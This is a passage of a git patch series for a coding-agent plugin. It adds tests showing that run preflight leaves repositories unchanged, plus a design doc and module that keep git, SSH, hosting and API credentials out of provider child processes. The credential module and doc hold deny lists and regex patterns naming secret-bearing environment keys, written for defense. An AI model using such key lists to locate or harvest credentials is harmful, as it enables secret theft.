oneByteShort + 4096 }), + }); + assert.equal(error.code, 'host_ram_capacity_exceeded'); + assert.doesNotMatch(error.message, /536870911|536870912/u); + + const receipt = await preflightOk(manifest, { + host: hostFacts({ available_ram_bytes: 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD }), + }); + assert.equal(receipt.capacity.ram_ok, true); + assert.equal(receipt.capacity.required_ram_bytes, 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD); + assert.equal(receipt.capacity.cpu_ok, true); + } finally { + await repo.cleanup(); + } +}); + +test('single-lane runs need exactly one CPU slot and one RAM floor', async () => { + const repo = await createLinearRepo(); + try { + const manifest = preflightManifest([writerLane(ASSIGNMENT_ID_A, ['src/alpha/**'])], { + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 1 }, + }); + const receipt = await preflightOk(manifest, { host: hostFacts({ cpu_parallelism: 1 }) }); + assert.equal(receipt.capacity.source, 'injected'); + assert.equal(receipt.capacity.cpu_parallelism, 1); + assert.equal(receipt.children.scope_pair_checks, 0); + } finally { + await repo.cleanup(); + } +}); + +test('the receipt counts every writer-scope pair the disjointness check compares', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.scope_pair_checks, 8 * 7 / 2); + } finally { + await repo.cleanup(); + } +}); + +test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), + writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + let spawned = false; + const error = await preflightError(manifest, { + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); + assert.equal(error.code, 'overlapping_writer_scope'); + assert.equal(spawned, false); } finally { await repo.cleanup(); } From f0508fb3cd58c7e77a15326f775248e92a6e1fd6 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:36:57 +0000 Subject: [PATCH 096/151] test(run): prove no workspace exists after failed preflight Add the side-effect proof suite. For every failure mode in the battery (invalid envelope, nine children, overlapping writer scopes, CPU and RAM capacity denial, missing repository, absent base commit) plus bare repositories and symlink aliases, and for the success path as well, the observed world must come back identical: same files with the same bytes and modes, the same refs, nothing added or removed. A recording spawn wraps the whole battery and proves every observation stayed inside the closed read-only rev-parse / cat-file / for-each-ref posture under the frozen closed git environment, so no lock file, branch, dispatch artifact, or reservation can appear from any preflight outcome. --- .../mcp/v3/run-preflight.mjs | 3 - .../fixtures/r1-run-preflight-fixtures.mjs | 6 + .../r1-run-preflight-side-effect.test.mjs | 205 ++++++++++++++++++ 3 files changed, 211 insertions(+), 3 deletions(-) create mode 100644 plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs index 36c188e..e03651a 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -41,11 +41,9 @@ import { spawn as nodeSpawn } from 'node:child_process'; import { lstat as nodeLstat, readFile as nodeReadFile, realpath as nodeRealpath } from 'node:fs/promises'; import * as nodeOs from 'node:os'; import * as nodePath from 'node:path'; -import { types as utilTypes } from 'node:util'; import { capturedFreeze, - capturedHasOwn, capturedIncludes, capturedIsArray, capturedOwnKeys, @@ -72,7 +70,6 @@ import { fail, freezeData, hasOwn, - optOwn, ownDataValue, } from './selection-json.mjs'; import { parseRunManifestV1 } from './run-policy.mjs'; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs index 15b9e20..2db6ad4 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs @@ -272,3 +272,9 @@ export function createRecordingSpawn() { }, }; } + +// Read-only observation helper for side-effect proofs: runs argv git inside +// a fixture repository without touching product modules. +export async function runFixtureGitIn(root, args) { + return runFixtureGit(root, args); +} diff --git a/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs new file mode 100644 index 0000000..ce2f6a0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs @@ -0,0 +1,205 @@ +// P26 run preflight — side-effect proofs. For every failure mode AND the +// success path, the observed world must come back byte-identical: the same +// files with the same bytes, the same refs, and nothing else. A failed +// preflight leaves no workspace, no branch or ref, no dispatch artifact, +// no lock file, no reservation — because the boundary never writes and its +// only spawns are read-only observations. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { createHash } from 'node:crypto'; +import { readdir, readFile, lstat } from 'node:fs/promises'; +import path from 'node:path'; + +import { GIT_CLOSED_ENV } from '../mcp/v3/git-identity.mjs'; +import { + RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; + +const CLOSED_ENV_KEYS = Object.keys(GIT_CLOSED_ENV).sort(); +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + createBareRepo, + createLinearRepo, + createSymlinkAliasRepo, + createRecordingSpawn, + hostFacts, + laneManifestsForCount, + runFixtureGitIn, + twoLaneManifest, + writerLane, + preflightManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); + +async function snapshotState(root) { + const entries = []; + async function walk(relative) { + const absolute = path.join(root, relative); + const metadata = await lstat(absolute); + if (metadata.isDirectory()) { + entries.push({ p: relative, t: 'dir', m: metadata.mode }); + const children = await readdir(absolute); + children.sort(); + for (const child of children) { + await walk(path.join(relative, child)); + } + return; + } + if (metadata.isSymbolicLink()) { + entries.push({ p: relative, t: 'link', m: metadata.mode }); + return; + } + const digest = createHash('sha256'); + if (metadata.size <= 1024 * 1024) { + digest.update(await readFile(absolute)); + } else { + digest.update(String(metadata.size)); + } + entries.push({ p: relative, t: 'file', m: metadata.mode, s: metadata.size, h: digest.digest('hex') }); + } + await walk(''); + // refs/stash is included by for-each-ref, so no separate stash query. + const refs = await runFixtureGitIn(root, ['for-each-ref', '--format=%(refname) %(objectname)']); + return { entries, refs }; +} + +function failureBattery(repo) { + return [ + ['invalid envelope', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), (manifest) => { manifest.schema = 'not-the-run-schema'; }, 'invalid_format'], + ['nine children exceed the maximum', laneManifestsForCount(9, { + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'preflight_child_count_exceeded'], + ['overlapping writer scopes', preflightManifest([ + writerLane('lane-overlap-a', ['src/shared/**']), + writerLane('lane-overlap-b', ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }), null, 'overlapping_writer_scope'], + ['cpu capacity denial', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'host_cpu_capacity_exceeded', { host: hostFacts({ cpu_parallelism: 0 }) }], + ['ram capacity denial', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'host_ram_capacity_exceeded', + { host: hostFacts({ available_ram_bytes: 1 }) }], + ['missing repository', twoLaneManifest({ + repositoryPath: '/definitely/not/present/repository', + baseSha: repo.baseSha, + }), null, 'repository_missing'], + ['absent base commit', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: '0123456789abcdef0123456789abcdef01234567', + }), null, 'base_identity_invalid'], + ]; +} + +test('every failed preflight leaves the repository world byte-identical', async () => { + const repo = await createLinearRepo(); + try { + const before = await snapshotState(repo.root); + const recording = createRecordingSpawn(); + for (const [label, manifest, mutate, expectedCode, optionsOverride] of failureBattery(repo)) { + if (mutate) mutate(manifest); + const options = { host: SUFFICIENT_HOST, spawn: recording.spawn, ...optionsOverride }; + let threw = false; + try { + await validateRunPreflightV1({ manifest }, options); + } catch (error) { + threw = true; + assert.ok(error instanceof RunContractV1Error, `${label}: ${error}`); + assert.equal(error.code, expectedCode, label); + } + assert.equal(threw, true, `${label} should have failed`); + const after = await snapshotState(repo.root); + assert.deepEqual(after, before, `world changed after: ${label}`); + } + // Only read-only observation commands ever ran across the whole battery. + assert.ok(recording.records.length >= 2); + for (const record of recording.records) { + const commandIndex = record.args.indexOf('-C'); + assert.ok(commandIndex >= 0, record.args.join(' ')); + assert.ok( + RUN_PREFLIGHT_READONLY_GIT_COMMANDS.includes(record.args[commandIndex + 2]), + record.args.join(' '), + ); + assert.deepEqual(record.envKeys, CLOSED_ENV_KEYS); + } + } finally { + await repo.cleanup(); + } +}); + +const GIT_CLOSED_ENV_SORTED = { + LANG: 'C', + LC_ALL: 'C', + PATH: '/usr/bin:/bin', + TZ: 'UTC', + GIT_ASKPASS: '', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_PROTOCOL_FROM_USER: '0', + GIT_TERMINAL_PROMPT: '0', +}; + +test('a passing preflight launches nothing either', async () => { + const repo = await createLinearRepo(); + try { + const before = await snapshotState(repo.root); + const recording = createRecordingSpawn(); + const receipt = await validateRunPreflightV1( + { manifest: twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }) }, + { host: SUFFICIENT_HOST, spawn: recording.spawn }, + ); + assert.equal(receipt.status, 'ready'); + for (const claim of Object.keys(receipt.side_effects)) { + assert.equal(receipt.side_effects[claim], false); + } + const after = await snapshotState(repo.root); + assert.deepEqual(after, before, 'world changed after a successful preflight'); + } finally { + await repo.cleanup(); + } +}); + +test('failed preflights leave bare repositories and aliases untouched too', async () => { + const bare = await createBareRepo(); + try { + const before = await snapshotState(bare.root); + const error = await validateRunPreflightV1({ + manifest: twoLaneManifest({ + repositoryPath: bare.root, + baseSha: '0123456789abcdef0123456789abcdef01234567', + }), + }, { host: SUFFICIENT_HOST }).then(() => null).catch((caught) => caught); + assert.ok(['repository_not_canonical'].includes(error.code), error.code); + assert.deepEqual(await snapshotState(bare.root), before); + } finally { + await bare.cleanup(); + } + + const aliased = await createSymlinkAliasRepo(); + try { + const before = await snapshotState(aliased.root); + const error = await validateRunPreflightV1({ + manifest: twoLaneManifest({ + repositoryPath: `${aliased.root}-alias`, + baseSha: aliased.baseSha, + }), + }, { host: SUFFICIENT_HOST }).then(() => null).catch((caught) => caught); + assert.equal(error.code, 'repository_not_canonical'); + assert.deepEqual(await snapshotState(aliased.root), before); + } finally { + await aliased.cleanup(); + } +}); From b4f2fd9bb35c592e4a319a6839b1f460f4cc9912 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 14:08:28 +0000 Subject: [PATCH 097/151] feat(boundary): strip Git SSH and hosting credentials Project a closed provider/operation environment so Git, SSH, hosting tokens, control secrets, key-file paths, and other-route credentials never reach launch or readiness children. Muse and Ox stay isolated; Grok and Cursor Cloud receive only their required route. --- docs/credential-isolation.md | 118 ++++ .../mcp/v3/credential-boundary.mjs | 668 ++++++++++++++++++ .../codex-co-engineer/mcp/v3/supervisor.mjs | 68 +- 3 files changed, 826 insertions(+), 28 deletions(-) create mode 100644 docs/credential-isolation.md create mode 100644 plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs diff --git a/docs/credential-isolation.md b/docs/credential-isolation.md new file mode 100644 index 0000000..745c231 --- /dev/null +++ b/docs/credential-isolation.md @@ -0,0 +1,118 @@ +# Credential and remote-mutation isolation (P29) + +Status: implemented as an additive v3 boundary +Complements: [threat model](threat-model.md), [ADR 0001](adr/0001-r1-bounded-run-architecture.md), P23 provider registry, P28 Git authority policy + +P29 is the credential and remote-mutation isolation boundary. It does not +sandbox a selected provider, substitute for P23 composition, or replace P28 +policy. Same-UID malicious filesystem access is outside this non-sandboxed +boundary. P30 live protected-ref audit remains later work. + +## Closed environment projection + +Supervisor launch and readiness children receive a **closed** +provider/operation environment. Projection starts empty and copies only +allowlisted operational keys plus the selected provider's required route. +It does not enumerate caller objects, so hostile getters on unrelated keys +never run. + +The following never reach provider or readiness children: + +- Git, SSH, and hosting credentials (`GIT_*` except a small hardening set, + `SSH_*`, `GH_TOKEN` / `GITHUB_*` / GitLab / Bitbucket tokens, askpass, + `insteadOf`, push URLs); +- control tokens (`WORKTREE_BOOTSTRAP_*`, MCP/supervisor lock secrets, + state-root tokens); +- owner-only key-file **paths** (`*_API_KEY_FILE` and Co-Engineer file + pointers); +- unrelated ambient secrets and `NODE_OPTIONS` / `NODE_PATH`. + +Lane hardening always sets `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`, +and `GIT_PUSH_OPTION_COUNT=0`. That is not a git sandbox; it removes the +platform's push/credential-helper environment. + +## Provider route isolation + +| Route | Receives | Does not receive | +| --- | --- | --- | +| Grok | `XAI_API_KEY` when present, Grok command, operational keys | Muse/Ox/Cursor keys, Git/SSH/hosting, key-file paths | +| Cursor Local | Cursor command, operational keys (CLI session under `HOME`) | `CURSOR_API_KEY`, Muse/Ox/Grok keys | +| DSH Muse | `MODEL_API_KEY`, Muse config path, DSH/ACPX commands | `OPENROUTER_API_KEY`, Grok/Cursor keys | +| DSH Ox | `OPENROUTER_API_KEY`, Ox config path, DSH/ACPX commands | `MODEL_API_KEY`, Grok/Cursor keys | +| Cursor Cloud local SDK | `CURSOR_API_KEY` plus bounded repository/ref/prompt data | Other provider keys, Git/SSH/hosting, key-file paths | +| Cursor Cloud remote | Credential-free origin URL, pinned SHA, prompt, optional `create_pr` flag | Local credentials, SSH agent, hosting tokens, key files | + +Readiness probes use the same closed maps. DSH `--version` / `which` and +`npm root --global` do not inherit ambient secrets. Credential presence for +DSH and Cursor Cloud is checked by an in-process owner-only file read, not +by leaking the value into an unrelated child. + +## Credential file reads + +Credential values may come from the selected env key or from an owner-only +file. File reads require: + +- an absolute, normalized path; +- `O_NOFOLLOW|O_RDONLY|O_NONBLOCK` open of a regular file; +- owner equal to the effective UID; +- mode `0600` (no group/other bits); +- link count 1 (hardlinks denied); +- size in `1..=16 KiB`; +- a post-read `fstat` identity match (dev/ino/mode/nlink/uid/size/mtime/ctime). + +Errors are content-free: they never echo the path, the bytes, or the +credential. Symlink, FIFO, directory, oversize, empty, owner, mode, and +in-place swap during read fail closed. Same-UID replacement of a path +between checks is the documented non-sandbox residual. + +## systemd-run argv handoff + +Credential values never appear in `systemd-run` argv. Non-secret projected +keys may use `--setenv`. Secret keys are written to a bounded owner-only +no-follow regular file under `XDG_RUNTIME_DIR` (else the process temp +dir), mode `0600`, directory `0700`, and the service command is wrapped by +`credential-handoff-loader.mjs`. + +The loader opens the file with the same no-follow rules, applies the +values, unlinks the file (and best-effort the directory), then runs the +original command as a child. The loader stays the service leader so +`KillMode=control-group` still reaches descendants. + +Cleanup unlinks any remaining handoff file after spawn failure, cancel, +terminal stop, or a later restart (a restart creates a new file). The +short-lived `systemd-run` client receives only the D-Bus session keys +needed to talk to the user manager (`DBUS_SESSION_BUS_ADDRESS`, +`XDG_RUNTIME_DIR`, `XDG_SESSION_ID`). + +Cursor Cloud workers are local Node processes, not systemd services; they +still receive the closed projection and never put secrets in argv. + +## Exact-value redaction + +ACP events, public errors, worker logs, and Cursor Cloud receipts redact +the exact credential values for the selected route, including 16 KiB +secrets split across events. Redaction uses the full value plus overlapping +32-byte fragments so a chunked log line cannot reassemble the secret. +Pattern redaction for common token shapes remains as defense in depth. + +## No worker remote-mutation authority + +Workers do not receive push URLs, credential helpers, or hosting tokens. +Profiles and manifests stay data-only. This boundary denies worker +push/merge/rebase/PR/tag/release/protected-ref/credential-helper/remote +mutation rather than performing those Git operations. P28 remains the +authority-policy seam; P29 does not wrap it and does not audit live refs +(P30). + +Cursor Cloud `create_pr` stays a supervisor-to-remote SDK option. It is +not merge authority, does not send local Git/SSH/hosting credentials, and +does not grant workers a push URL. + +## Compatibility + +P23 `provider-registry.mjs` remains the only composition authority for the +four accepted adapters. P29 does not add a fifth slot, a wrapper factory, +or ambient discovery. P28 `git-authority.mjs` remains policy at the +authority seam; P29 consults its denied-operation vocabulary without +mutating Git. 3.2.1 Muse/Ox credential routing (one route never substitutes +the other) is preserved. diff --git a/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs new file mode 100644 index 0000000..6551a29 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs @@ -0,0 +1,668 @@ +// CredentialBoundaryV1 — P29 credential and remote-mutation isolation. +// Closed provider/operation environment projection, owner-only credential +// reads, argv-free secret handoff, exact-value redaction, and worker +// push/remote-mutation denial. Not a sandbox: same-UID malicious +// filesystem access is outside this boundary. P23 registry composition +// and P28 Git authority policy remain the accepted seams; this module +// does not wrap them. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { + constants as fsConstants, +} from 'node:fs'; +import { + chmod, + lstat, + mkdtemp, + open, + rmdir, + unlink, +} from 'node:fs/promises'; +import { homedir, tmpdir } from 'node:os'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { capturedFreeze, capturedHasOwn, capturedIncludes } from './grammar.mjs'; +import { DENIED_OPERATIONS } from './git-authority.mjs'; +import { assertNotProxy } from './selection-json.mjs'; + +export const CREDENTIAL_BOUNDARY_SCHEMA_ID = 'codex-co-engineer.credential-boundary.v1'; +export const CREDENTIAL_BOUNDARY_VERSION = 1; +export const MAX_CREDENTIAL_BYTES = 16 * 1024; +export const MAX_HANDOFF_BYTES = 64 * 1024; +export const REDACTION_FRAGMENT_BYTES = 32; +export const REDACTION_FRAGMENT_STRIDE = 16; +export const REDACTED = '[REDACTED]'; +export const HANDOFF_ENV_KEY = 'CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF'; +export const DEFAULT_DSH_MODEL = 'muse-spark-1.2-contributor'; +export const DSH_OX_MODEL = 'stealth/ox-alpha'; + +export const OPERATIONAL_ENV_KEYS = capturedFreeze([ + 'HOME', 'LANG', 'LC_ALL', 'LC_CTYPE', 'LOGNAME', 'PATH', 'TERM', 'TMPDIR', + 'TZ', 'USER', 'XDG_CACHE_HOME', 'XDG_CONFIG_HOME', 'XDG_DATA_HOME', + 'XDG_STATE_HOME', +]); + +export const SYSTEMD_CLIENT_ENV_KEYS = capturedFreeze([ + 'DBUS_SESSION_BUS_ADDRESS', 'XDG_RUNTIME_DIR', 'XDG_SESSION_ID', +]); + +export const GIT_INSPECT_ENV = capturedFreeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_PROTOCOL_FROM_USER: '0', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_ASKPASS: '', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', +}); + +export const GIT_HARDENING_ENV = capturedFreeze({ + GIT_TERMINAL_PROMPT: '0', + GIT_ASKPASS: '', + GIT_PUSH_OPTION_COUNT: '0', +}); + +export const CREDENTIAL_ENV_KEYS = capturedFreeze([ + 'CURSOR_API_KEY', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', 'XAI_API_KEY', +]); + +export const CREDENTIAL_FILE_ENV_KEYS = capturedFreeze([ + 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + 'CURSOR_API_KEY_FILE', +]); + +export const PROVIDER_COMMAND_KEYS = capturedFreeze([ + 'CODEX_CO_ENGINEER_ACPX_COMMAND', + 'CODEX_CO_ENGINEER_CURSOR_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_CONFIG', + 'CODEX_CO_ENGINEER_DSH_COMMAND', + 'CODEX_CO_ENGINEER_DSH_OX_ACP_CONFIG', + 'CODEX_CO_ENGINEER_DSH_PROFILE', + 'CODEX_CO_ENGINEER_GROK_COMMAND', +]); + +export const DSH_ROUTE = capturedFreeze({ + [DEFAULT_DSH_MODEL]: capturedFreeze({ + credentialEnv: 'MODEL_API_KEY', + credentialFileEnv: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credentialFile: 'model-api-key', + configEnv: 'CODEX_CO_ENGINEER_DSH_ACP_CONFIG', + }), + [DSH_OX_MODEL]: capturedFreeze({ + credentialEnv: 'OPENROUTER_API_KEY', + credentialFileEnv: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credentialFile: 'openrouter-api-key', + configEnv: 'CODEX_CO_ENGINEER_DSH_OX_ACP_CONFIG', + }), +}); + +export const CREDENTIAL_BOUNDARY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'credential_empty', 'credential_file_changed', + 'credential_hardlink_denied', 'credential_owner_denied', + 'credential_permissions', 'credential_symlink_denied', + 'credential_too_large', 'credential_unreadable', 'exotic_prototype_denied', + 'invalid_credential_file', 'invalid_credential_path', 'invalid_env', + 'invalid_handoff', 'invalid_provider', 'proxy_denied', 'push_url_denied', + 'remote_mutation_denied', 'symbol_key_denied', +]); + +const OPEN_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0) + | (fsConstants.O_CLOEXEC ?? 0); + +const OPEN_WRITE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_CLOEXEC ?? 0); + +const IS_PROXY = utilTypes.isProxy; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const OBJECT_HAS_OWN = Object.hasOwn; +const GET_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const OBJECT_PROTOTYPE = Object.prototype; + +const CREDENTIAL_KEY_PATTERN = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|credential|private[_-]?key)$/iu; +const HOSTING_KEY_PATTERN = /^(?:GH|GITHUB|GITLAB|GL|BITBUCKET|BB|HG|GITEA|FORGEJO|SOURCEHUT)_/u; +const GIT_KEY_PATTERN = /^GIT_/u; +const SSH_KEY_PATTERN = /^SSH_/u; +const CONTROL_KEY_PATTERN = /^(?:WORKTREE_BOOTSTRAP_|CODEX_CO_ENGINEER_STATE_DIR$|MCP_|SUPERVISOR_)/u; +const PUSH_URL_KEY_PATTERN = /(?:pushurl|insteadOf|askpass|credential)/iu; +const USERINFO_URL = /^(?:[a-z][a-z0-9+.-]*:\/\/)[^/@\s]+@/iu; +const TOKEN_QUERY = /[?&](?:token|access_token|api[_-]?key|secret|password|credential)=/iu; +const SCP_USERINFO = /^(?![a-z][a-z0-9+.-]*:\/\/)[^@\s]+@[^@\s]+:/u; + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Environment input cannot use accessor properties.', + credential_empty: 'Provider credential configuration is invalid.', + credential_file_changed: 'Provider credential configuration is invalid.', + credential_hardlink_denied: 'Provider credential configuration is invalid.', + credential_owner_denied: 'Provider credential configuration is invalid.', + credential_permissions: 'Provider credential configuration is invalid.', + credential_symlink_denied: 'Provider credential configuration is invalid.', + credential_too_large: 'Provider credential configuration is invalid.', + credential_unreadable: 'Provider credential configuration is invalid.', + exotic_prototype_denied: 'Environment input is not a direct data object.', + invalid_credential_file: 'Provider credential configuration is invalid.', + invalid_credential_path: 'Provider credential configuration is invalid.', + invalid_env: 'Provider environment is invalid.', + invalid_handoff: 'Provider credential configuration is invalid.', + invalid_provider: 'Unsupported provider.', + proxy_denied: 'Environment input cannot be a Proxy.', + push_url_denied: 'Worker push URLs are not authorized.', + remote_mutation_denied: 'Worker remote mutation is not authorized.', + symbol_key_denied: 'Environment input cannot use symbol keys.', +}); + +export class CredentialBoundaryError extends Error { + constructor(code, message, options) { + super(message, options); + this.name = 'CredentialBoundaryError'; + this.code = code; + } +} + +function fail(code, options) { + throw new CredentialBoundaryError(code, CONTENT_FREE[code] ?? CONTENT_FREE.invalid_env, options); +} + +function requirePlainSource(source, field = 'env') { + if (source == null || (typeof source !== 'object' && typeof source !== 'function') || Array.isArray(source)) { + fail('invalid_env'); + } + if (IS_PROXY(source)) fail('proxy_denied'); + try { + assertNotProxy(source, field); + } catch (error) { + if (error?.code === 'proxy_denied') fail('proxy_denied'); + throw error; + } + const proto = Object.getPrototypeOf(source); + if (proto !== null && proto !== OBJECT_PROTOTYPE && source !== process.env) { + // process.env is a special object; other exotic prototypes are denied. + if (proto !== Object.getPrototypeOf(process.env)) fail('exotic_prototype_denied'); + } + return source; +} + +function ownString(source, key) { + if (typeof key === 'symbol') fail('symbol_key_denied'); + if (!OBJECT_HAS_OWN(source, key)) return undefined; + const descriptor = GET_DESCRIPTOR(source, key); + if (descriptor === undefined || !descriptor.enumerable) fail('accessor_property_denied'); + if (typeof descriptor.get === 'function' || typeof descriptor.set === 'function') { + fail('accessor_property_denied'); + } + const value = descriptor.value; + if (value === undefined) return undefined; + if (typeof value !== 'string' || value.includes('\0')) fail('invalid_env'); + return value; +} + +function copyKeys(source, keys, output) { + for (const key of keys) { + const value = ownString(source, key); + if (value !== undefined && value.length > 0) output[key] = value; + } + return output; +} + +export function isCredentialEnvKey(name) { + if (typeof name !== 'string' || name.length === 0) return false; + if (capturedIncludes(CREDENTIAL_ENV_KEYS, name)) return true; + if (capturedIncludes(CREDENTIAL_FILE_ENV_KEYS, name)) return true; + return CREDENTIAL_KEY_PATTERN.test(name); +} + +export function isForbiddenProviderEnvKey(name) { + if (typeof name !== 'string' || name.length === 0) return true; + if (GIT_KEY_PATTERN.test(name) && !capturedHasOwn(GIT_HARDENING_ENV, name)) return true; + if (SSH_KEY_PATTERN.test(name)) return true; + if (HOSTING_KEY_PATTERN.test(name)) return true; + if (CONTROL_KEY_PATTERN.test(name)) return true; + if (capturedIncludes(CREDENTIAL_FILE_ENV_KEYS, name)) return true; + if (PUSH_URL_KEY_PATTERN.test(name)) return true; + if (name === HANDOFF_ENV_KEY) return true; + if (name === 'NODE_OPTIONS' || name === 'NODE_PATH' || name === 'NODE_REPL_EXTERNAL_MODULE') return true; + return false; +} + +function resolveDshRoute(dshModel) { + const model = dshModel ?? DEFAULT_DSH_MODEL; + const route = DSH_ROUTE[model]; + if (!route) fail('invalid_provider'); + return route; +} + +function providerAllowlist(provider, dshModel, operation) { + const keys = [...OPERATIONAL_ENV_KEYS]; + if (operation === 'systemd_client') return [...SYSTEMD_CLIENT_ENV_KEYS]; + if (operation === 'sdk_probe') return [...OPERATIONAL_ENV_KEYS, 'npm_config_prefix', 'NPM_CONFIG_PREFIX']; + if (operation === 'git_inspect') return []; + if (provider === 'grok') { + keys.push('XAI_API_KEY', 'CODEX_CO_ENGINEER_GROK_COMMAND'); + } else if (provider === 'cursor-local') { + keys.push('CODEX_CO_ENGINEER_CURSOR_COMMAND'); + } else if (provider === 'cursor-cloud') { + keys.push('CURSOR_API_KEY'); + } else if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + keys.push( + 'CODEX_CO_ENGINEER_DSH_COMMAND', + 'CODEX_CO_ENGINEER_ACPX_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_COMMAND', + 'CODEX_CO_ENGINEER_DSH_PROFILE', + route.configEnv, + ); + if (operation !== 'readiness_probe') keys.push(route.credentialEnv); + } else if (provider !== undefined) { + fail('invalid_provider'); + } + return keys.filter((key) => !isForbiddenProviderEnvKey(key) || capturedHasOwn(GIT_HARDENING_ENV, key)); +} + +export function projectProviderEnvironment({ + provider, source = process.env, dshModel, operation = 'lane', +} = {}) { + const envSource = requirePlainSource(source); + if (operation === 'git_inspect') return { ...GIT_INSPECT_ENV }; + if (operation === 'systemd_client') { + const output = Object.create(null); + copyKeys(envSource, SYSTEMD_CLIENT_ENV_KEYS, output); + return output; + } + const output = Object.create(null); + copyKeys(envSource, providerAllowlist(provider, dshModel, operation), output); + if (operation === 'lane' || operation === 'readiness') { + Object.assign(output, GIT_HARDENING_ENV); + } + if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + for (const other of Object.values(DSH_ROUTE)) { + if (other.credentialEnv !== route.credentialEnv) delete output[other.credentialEnv]; + delete output[other.credentialFileEnv]; + } + } else { + delete output.MODEL_API_KEY; + delete output.OPENROUTER_API_KEY; + if (provider !== 'grok') delete output.XAI_API_KEY; + if (provider !== 'cursor-cloud') delete output.CURSOR_API_KEY; + } + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete output[key]; + return output; +} + +export function systemdClientEnvironment(source = process.env) { + return projectProviderEnvironment({ source, operation: 'systemd_client' }); +} + +export function extractCredentialEnv(env) { + const source = requirePlainSource(env); + const secrets = Object.create(null); + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(source, key); + if (value !== undefined && value.length > 0) secrets[key] = value; + } + return secrets; +} + +export function omitCredentialEnv(env) { + const source = requirePlainSource(env); + const output = Object.create(null); + for (const key of Reflect.ownKeys(source)) { + if (typeof key !== 'string') 